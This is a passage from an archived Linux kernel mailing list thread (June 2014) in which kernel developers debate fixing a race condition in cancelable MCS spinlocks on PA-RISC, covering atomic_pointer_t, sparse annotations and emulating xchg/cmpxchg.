SNVKxiitcZ0Gl5Ha0Y2vWUxquWbCzylbinbaYmA7wbvaAkNYdKFgkuNBXtmACuZ7
hRlrImpQR3u0pdKFvK4/y+dAOOPSj7hZdt45vphZWCUqdWfnraSPPnZOGFIbn52G
Ray4hZ4TrO6NwBaOp1oMHrXUEcpiAPm+ZOf4GJUfGUfKhAj1d41SOc0s8B6aOXLr
Z/XacD2RfCYsxPfaWksyaL+ZnoTf3uRrFCdqLGidEPfR7tsq1Apc53xIHxCDoW/t
ZvELSNtCcGIuTt40NvbddKtdqJ+J0iYHdx+6Kn5uv/AZFIRFdusllHezcptBkUbC
kb3V8bux3LELsz+xmq6fvADENLNwdpTFU1ysLmrbRJdn4AmGj1sITyhh0QuiZYCQ
oY8D3UPNfAmThcoOO5YORPFbzR0wiapwxxoQ9szhSapM+QLIavWHZcM9r7/2blkO
yZRqXW+zqEMH/YGO7INPjz0Coj1dWPyjY8DxgK0xze+v7F08b/oqMe+XJGv3rD3X
qhcxHpTJIrsIR7sTS64dqWLyiVezvDgSTYajpaXNGPfBa31Vr99VKf2V9Lukf89H
p+hgRUPPEOC/pSFTG6HTcBWYQOSwGfWOpPmp5E+uGBvBFu2/yxNtGC4u+yMfeKwe
wLXeC3SPjYgX+tt+GuL4
=twhr
-----END PGP SIGNATURE-----

--fcasAdn045BL8lzs--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Tue, 3 Jun 2014 09:36:13 +0200
Lines: 83
Approved: news@gmane.org
Message-ID: <20140603073613.GH11096@twins.programming.kicks-ass.net>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com>
 <alpine.LRH.2.02.1406021622200.5874@file01.intranet.prod.int.rdu2.redhat.com>
 <CA+55aFwCy4-x02U6A-KbkPEpe_4pagsZ__ipBhe5HZOQt2vNmw@mail.gmail.com>
 <alpine.LRH.2.02.1406021656550.5874@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="C3csQhHPgbq3tf44"
X-Trace: ger.gmane.org 1401781008 28288 80.91.229.3 (3 Jun 2014 07:36:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Jun 2014 07:36:48 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Waiman Long <Waiman.Long@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 09:36:38 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrjGv-0002YW-Ts
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Jun 2014 09:36:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753302AbaFCHgh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jun 2014 03:36:37 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:32780 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753232AbaFCHgg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jun 2014 03:36:36 -0400
Original-Received: from dhcp-077-248-225-117.chello.nl ([77.248.225.117] helo=twins)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1WrjGe-0008M9-QV; Tue, 03 Jun 2014 07:36:21 +0000
Original-Received: by twins (Postfix, from userid 1000)
	id E751780155CD; Tue,  3 Jun 2014 09:36:13 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.02.1406021656550.5874@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Mutt/1.5.21 (2012-12-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5860 gmane.linux.kernel:1716723
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5860>


--C3csQhHPgbq3tf44
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Jun 02, 2014 at 05:12:16PM -0400, Mikulas Patocka wrote:
> The patch adds atomic_pointer_t for all architectures - it is in the=20
> common code and it is backed by atomic_long_t (that already exists for al=
l=20
> architectures). There is no new arch-specific code at all.
>=20
> When we have atomic_pointer_t, we can find the instances of xchg() and=20
> cmpxchg() and convert them to atomic_pointer_t (or to other atomic*_t=20
> types).
>=20
> When we convert them all, we can drop xchg() and cmpxchg() at all (at=20
> least from architecture-neutral code).
>=20
> The problem with xchg() and cmpxchg() is that they are very easy to=20
> misuse. Peter Zijlstra didn't know that they are not atomic w.r.t. normal=
=20
> stores, a lot of other people don't know it too - and if we allow these=
=20
> functions to be used, this race condition will reappear in the future=20
> again and again.
>=20
> That's why I'm proposing atomic_pointer_t - it guarantees that this race=
=20
> condition can't be made.

But its horrible, and doesn't have any benefit afaict.

So if we really want to keep supporting these platforms; I would propose
something like:

#ifdef __CHECKER__
#define __atomic	__attribute__((address_space(5)))
#else
#define __atomic
#endif

#define store(p, v)	(*(p) =3D (typeof(*(p)) __force __atomic)(v))
#define load(p)		((typeof(*p) __force)ACCESS_ONCE(*(p)))

Along with changes to xchg() and cmpxchg() that require them to take
pointers to __atomic.

That way we keep the flexibility of xchg() and cmpxchg() for being
(mostly) type and size invariant, and get sparse to find wrong usage.

Then parisc, sparc32, tile32, metag-lock1 and arc-!llsc can go implement
store() however they like.



--C3csQhHPgbq3tf44
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBAgAGBQJTjXrtAAoJEHZH4aRLwOS600UP/31g+OD4KSjczG/ZhSVsIagP
0wLJYumd8UqFkArSRcJ6q3xcTzV34C705M34dZyFq0etylvyMcNtjvyZkjzTzpcd
nM5nPNGLIrew12PCqkPeUxCSe7V7e+Wyte/mg1ejWdhdTKi3B3YeKICqGo52cW2v
8PtzYyVKi83WkYEV/Y1gok1nsbych19manSI6Rn1hy4eLBKS3IBKYcz9Pwff2bgs
moowd/K19tkvvl2MrBQM1yrrHe8iYSvmeLmdEWma0s3lJCp3BknyjUPPTQpGF8sq
dE8YDO2mxgcIzx0p/xvBQ2OtiJNqfStrEZMne/2ODWKF12r7pZ/gPnJU4SO8rIZI
U7xm07hPDKvmBG+h8wSBvCcdtnWqj9Tp6tMa4OqV4Ze4DWne8ysj/y7bJrhAYyiP
bY25GXknujcOxZPliXgmX5E1fpTAtNP/lG39EACZFP0wBGRHq/efO3wia0Pbw+Ev
gkZksDf1GkKPmmVkHuAerlzbhBhupy1ZbR6YDWAwNmHiAkitXy5rPmrso6z5Z+6G
8f/fGIz233BI9bOnYmaf/a0O8xLU9Y+h0+cUXvSoSbfwwZrrgMbbSCufDeYKN/aG
9quSHASRcQpeUM3aEHk29Wpj0hFyZiRFKntpvrVrCqvo/hAh3iJ5CdpieoBVrB2+
MkXIDDqJNoUwusUl8lY6
=CJbB
-----END PGP SIGNATURE-----

--C3csQhHPgbq3tf44--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Tue, 3 Jun 2014 09:54:33 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <20140603075433.GI11096@twins.programming.kicks-ass.net>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <20140602163032.GI16155@laptop.programming.kicks-ass.net>
 <538CB56E.5010709@hp.com>
 <20140602200525.GD13930@laptop.programming.kicks-ass.net>
 <CA+55aFwJwVf_MbcwNNWg-KrLdoOaV2xse2jzvBZTJHJgC_Htvg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="eOjGLwyQwZ6mtm8V"
X-Trace: ger.gmane.org 1401782094 8644 80.91.229.3 (3 Jun 2014 07:54:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Jun 2014 07:54:54 +0000 (UTC)
Cc: Waiman Long <waiman.long@hp.com>,
	Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 09:54:45 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrjYS-0006bJ-VN
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Jun 2014 09:54:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753456AbaFCHyo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jun 2014 03:54:44 -0400
Original-Received: from casper.infradead.org ([85.118.1.10]:40108 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753315AbaFCHyn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jun 2014 03:54:43 -0400
Original-Received: from dhcp-077-248-225-117.chello.nl ([77.248.225.117] helo=twins)
	by casper.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1WrjYN-00042s-Bf; Tue, 03 Jun 2014 07:54:39 +0000
Original-Received: by twins (Postfix, from userid 1000)
	id 7A3EC80155DB; Tue,  3 Jun 2014 09:54:33 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <CA+55aFwJwVf_MbcwNNWg-KrLdoOaV2xse2jzvBZTJHJgC_Htvg@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2012-12-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5861 gmane.linux.kernel:1716732
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5861>


--eOjGLwyQwZ6mtm8V
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Jun 02, 2014 at 01:22:10PM -0700, Linus Torvalds wrote:
> On Mon, Jun 2, 2014 at 1:05 PM, Peter Zijlstra <peterz@infradead.org> wro=
te:
> >
> > So the question is, do you prefer subtly broken code or hard compile
> > fails? Me, I go for the compile fail.
>=20
> The thing is, parisc has a perfectly fine "cmpxchg" implementation in
> practice, and ACCESS_ONCE() and friends work fine too for reading.
>=20
> What the "use a spinlock" approach cannot generally do is:
>=20
>  - ACCESS_ONCE() to _write_ things doesn't work well. You really
> should use "atomic_set()".
>=20
>  - you may not necessarily be able to mix partial updates (ie
> differently sized updates to the same thing) depending on just how the
> spinlock hashing works
>=20
> but both of those are really rare issues and don't affect normal code.

Agreed on the second, although that would be fairly easy to fix by
masking out the lower few bits in the pointer address before hashing.

The first, you're probably, right, but seeing how its a completely
silent fail atm I'm not at all comfortable with it.

--eOjGLwyQwZ6mtm8V
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBAgAGBQJTjX85AAoJEHZH4aRLwOS6nngQAK9nbOEBxJRjxLBTjGqT2h3H
CblDpBj0FzQanVUULCmxxLuGwqwqTCcGF/LClYd4+SUaKjD0DErQj5bDI9+IM2zv
ypDvuWUo7M6OlyMMXEBSkw9E6zSZzl0W5Icznx2gj0Hh0DgcGmuYzHwSKRCdk290
00soo4700xK7beYrQ9iF2iBgYIY0tqFoP5FQPeOTNX4eTvnYyRjz0BXAAWxqO2Hl
qMVDtclFkfe3JoQmr2r24ZDdgN9XIjIlIK0UXSwL3S2paSZxBHzq9e1jil9VD+/b
LORmUqIXdz+56RG7Vqdn1V/RwlOk/K8RPYRby7FvzQx993k6XvxYWS9GwgLQhn0U
y2wz3O72K3qirIxzXF5CP714xHe+ChMh9F9O91nLxxecdwEwvm7u/xe63XMI4eNV
TWwAy0Tiv2gPY3cozgYMWBm1989ZQ1zfS98mJhDOdmsirYeV5F8fwzxD7eJeE/4A
nlTIMzQqC/FeRYFOdxdWK3kCr1QG/a+1H8snBIUgdZZjG3NajXvgGWtzThXPZ+VU
O+Xt7CQiGiIdSv+eXTULSdD+mcvCcw9VjFevMY4P+EYti8oAHBGv9GJr9YQhOx1Y
4RcgUJ3hqVwhH+Y6unZXfbddcjAdHGU8h87DqI0daS7j85wJZtN8yxi+/4Dx8Z4a
eEdB2bjrS8tuAg7Wof/2
=zSlX
-----END PGP SIGNATURE-----

--eOjGLwyQwZ6mtm8V--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix a race condition in cancelable mcs spinlocks
Date: Tue, 3 Jun 2014 09:56:16 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <20140603075616.GJ11096@twins.programming.kicks-ass.net>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <20140601192026.GE16155@laptop.programming.kicks-ass.net>
 <BLU0-SMTP387BD0AE22A4EAD432D65F97210@phx.gbl>
 <20140601213003.GG16155@laptop.programming.kicks-ass.net>
 <1401739000.12939.34.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="3nbTfX4V9Gs/5Yhz"
X-Trace: ger.gmane.org 1401782197 9847 80.91.229.3 (3 Jun 2014 07:56:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Jun 2014 07:56:37 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, chegu_vinod@hp.com,
	paulmck@linux.vnet.ibm.com, Waiman.Long@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 09:56:26 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wrja5-0007AA-6f
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Jun 2014 09:56:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932320AbaFCH4Y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jun 2014 03:56:24 -0400
Original-Received: from casper.infradead.org ([85.118.1.10]:40127 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932255AbaFCH4X (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jun 2014 03:56:23 -0400
Original-Received: from dhcp-077-248-225-117.chello.nl ([77.248.225.117] helo=twins)
	by casper.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Wrja2-00044V-JH; Tue, 03 Jun 2014 07:56:22 +0000
Original-Received: by twins (Postfix, from userid 1000)
	id CCA4280155CD; Tue,  3 Jun 2014 09:56:16 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1401739000.12939.34.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2012-12-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5862 gmane.linux.kernel:1716734
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5862>


--3nbTfX4V9Gs/5Yhz
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Mon, Jun 02, 2014 at 12:56:40PM -0700, James Bottomley wrote:
> Architecturally, there is a way we could emulate the atomic exchange
> instructions.  We could have a special section of memory that always
> triggers a page trap.  In the Q state dtlb trap handlers we could
> recognise the "atomic" section of memory and wrap the attempted
> modification in a semaphore.  This would add a bit of overhead, but not
> a huge amount if we do it in the trap handlers like the TMPALIAS
> flushes.  This involves a lot of work for us because we have to decode
> the instructions in software, recognise the operations and manually
> apply the hashed semaphores around them.  If we did it like this, all
> we'd need by way of mainline support is that variables treated as
> atomically exchangeable should be in a separate section (because it's a
> page fault handler effectively, we need them all separated from "normal"
> code).  This would probably require some type of variable marker and if
> we ever saw a xchg or cmpxchg on a variable without the marker, we could
> break the build.

Cute, but I don't think that's entirely feasible given how these things
can be embedded in other structures (some dynamically allocated etc..).



--3nbTfX4V9Gs/5Yhz
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBAgAGBQJTjX+gAAoJEHZH4aRLwOS6ux4P+gKgWsCBL126J4OGdL6sRbOu
0dg/ShhoNJJaX4J7hZYkH1IVhzcSJMC0qOj0aHXGxs2DaaPDdL4b9VjPBwLW5GSK
ZmF4mvwf2sRbib2RcKSugWSdnuMRMOp71xN1CigAa6if3bEm342m+XXdZcNxigMJ
yoR4tjTwSSKgCwGDcI75PjBo9VPMc6S04a+kDDcKdSz28s2fwKR0HE6DaWcAiqOa
8P4Czm0pGkX8uohYf0e98FBDhj/Q9j9uJqMCL3TcfR1yjfxFnJTXZp+963JROFay
cxRjN40zDJHEZlyvJDjRv0zFsCeuozf0exAwfXqvUY5tK9TcnCBLdkj9tic7w7TO
iU6kQWTTCsUnG209L9cI5zrNkLl7N0uB0W1pC6SoBwCSCMBWraDLGoKKFPyNEgX7
aqrdMD/8eEWNTWCapF01sEV776XVR8QNiAlsHKN0S2Sp1RpOEHOFq3Iuh/eUWIMx
Cbox2pjEUwQ/wcuJMA2Reomjg51aAjqAzg9sKAYnA5FCaUm4yDpG+6reYUgc4KUd
SatcSq/UC+pb/kxShnTXDmqCLoR24F2LAvpdeACFZjJE3W7bgyw3tAP/bwypJNNo
xLr4A9Hvya3cqiYKvjdKnrbhi9x1VsWVtnqC+0sBjdVrOoCsNuoViKdoUWBDB75C
Zz0pMusI7A19MGRlfrNC
=cgFT
-----END PGP SIGNATURE-----

--3nbTfX4V9Gs/5Yhz--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Tue, 3 Jun 2014 07:14:31 -0400 (EDT)
Lines: 149
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1406030341570.10639@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com> <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com> <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com> <alpine.LRH.2.02.1406021622200.5874@file01.intranet.prod.int.rdu2.redhat.com> <CA+55aFwCy4-x02U6A-KbkPEpe_4pagsZ__ipBhe5HZOQt2vNmw@mail.gmail.com> <alpine.LRH.2.02.1406021656550.5874@file01.intranet.prod.int.rdu2.redhat.com>
 <20140603073613.GH11096@twins.programming.kicks-ass.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1401794162 23419 80.91.229.3 (3 Jun 2014 11:16:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Jun 2014 11:16:02 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Waiman Long <Waiman.Long@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 13:15:53 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wrmh4-0001qK-Cz
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Jun 2014 13:15:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753105AbaFCLPt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jun 2014 07:15:49 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:34862 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752438AbaFCLPs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jun 2014 07:15:48 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s53BEYlu021198
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
	Tue, 3 Jun 2014 07:14:34 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s53BEXkT017201
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Tue, 3 Jun 2014 07:14:34 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s53BEX4A009967;
	Tue, 3 Jun 2014 07:14:33 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s53BEVvE009962;
	Tue, 3 Jun 2014 07:14:32 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <20140603073613.GH11096@twins.programming.kicks-ass.net>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5863 gmane.linux.kernel:1716869
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5863>



On Tue, 3 Jun 2014, Peter Zijlstra wrote:

> On Mon, Jun 02, 2014 at 05:12:16PM -0400, Mikulas Patocka wrote:
> > The patch adds atomic_pointer_t for all architectures - it is in the 
> > common code and it is backed by atomic_long_t (that already exists for all 
> > architectures). There is no new arch-specific code at all.
> > 
> > When we have atomic_pointer_t, we can find the instances of xchg() and 
> > cmpxchg() and convert them to atomic_pointer_t (or to other atomic*_t 
> > types).
> > 
> > When we convert them all, we can drop xchg() and cmpxchg() at all (at 
> > least from architecture-neutral code).
> > 
> > The problem with xchg() and cmpxchg() is that they are very easy to 
> > misuse. Peter Zijlstra didn't know that they are not atomic w.r.t. normal 
> > stores, a lot of other people don't know it too - and if we allow these 
> > functions to be used, this race condition will reappear in the future 
> > again and again.
> > 
> > That's why I'm proposing atomic_pointer_t - it guarantees that this race 
> > condition can't be made.
> 
> But its horrible, and doesn't have any benefit afaict.
>
> So if we really want to keep supporting these platforms; I would propose
> something like:
> 
> #ifdef __CHECKER__
> #define __atomic	__attribute__((address_space(5)))
> #else
> #define __atomic
> #endif
> 
> #define store(p, v)	(*(p) = (typeof(*(p)) __force __atomic)(v))
> #define load(p)		((typeof(*p) __force)ACCESS_ONCE(*(p)))
> 
> Along with changes to xchg() and cmpxchg() that require them to take
> pointers to __atomic.
> 
> That way we keep the flexibility of xchg() and cmpxchg() for being
> (mostly) type and size invariant, and get sparse to find wrong usage.
> 
